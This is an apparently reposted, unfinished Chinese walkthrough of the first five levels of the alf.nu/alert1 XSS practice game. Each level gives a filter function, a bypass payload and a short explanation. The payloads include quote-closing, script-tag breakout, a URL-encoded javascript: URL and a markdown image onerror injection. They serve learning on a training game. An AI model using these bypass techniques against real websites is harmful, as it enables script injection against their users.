xss练习,alf.nu/alert1,(未完成)
Posted kagari
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xss练习,alf.nu/alert1,(未完成)相关的知识,希望对你有一定的参考价值。
觉得自己很菜,故找一些题来做,随便找了下。记一下通关攻略 https://alf.nu/alert1
第一关
题目:warmup
function escape(s) { return ‘<script>console.log("‘+s+‘");</script>‘; }
题解:");alert(1)//
分析:简单闭合一下双引号即可
第二关
题目:adobe
function escape(s) { s = s.replace(/"/g, ‘\\"‘); return ‘<script>console.log("‘ + s + ‘");</script>‘; }
题解:");alert(1)//
分析:因为题目是将所有的"替换为"所以,输入"会被替换为\\",导致被转义的字符变为",之后执行xss即可
第三关
题目:json
function escape(s) { s = JSON.stringify(s); return ‘<script>console.log(‘ + s + ‘);</script>‘; }
题解:</script><script>alert(1)</script>//
分析:JSON.stringify()作用是返回JSON字符串,主要使用在对象转换为JSON。这里它使s外层多了一对双引号,内部字符全部转义。所以无法使用上面一题的方法。但是可以使用</script>使标签闭合在执行任意xss即可
第四关
题目:javascript
function escape(s) { var url = ‘javascript:console.log(‘ + JSON.stringify(s) + ‘)‘; console.log(url); var a = document.createElement(‘a‘); a.href = url; document.body.appendChild(a); a.click(); }
题解:%22);alert(1);//
分析:因为url使用了js伪协议,所以可以使用url编码,%22是"。这样就使console.log闭合。然后可以执行任意xss。
第五关
题目:markdown
function escape(s) { var text = s.replace(/</g, ‘<‘).replace(/"/g, ‘"‘); // URLs text = text.replace(/(http://S+)/g, ‘<a href="$1">$1</a>‘); // [[img123|Description]] text = text.replace(/[[(w+)|(.+?)]]/g, ‘<img alt="$2" src="$1.gif">‘); return text; }
题解:[[x|http://onerror=alert(1);//]]
分析:这题有些复杂,先简单分析下,这里参考了这篇文章 https://blog.csdn.net/he_and/article/details/79672900
第一行将<与"实体编码,导致无法直接输入闭合
第二行是将http://开头的链接变为a标签
第三行是markdown插入图片的标准语法,如下图所示。
因为无法输入",所以只能使用a标签产生的"来闭合。构造下图的payload即可
为了理解到底发生了什么,我做了下测试。
该函数会返回如上图所示的字符串,将其放入html,达到弹窗效果。如下图,alert(1);//的//是为了注释后面的"。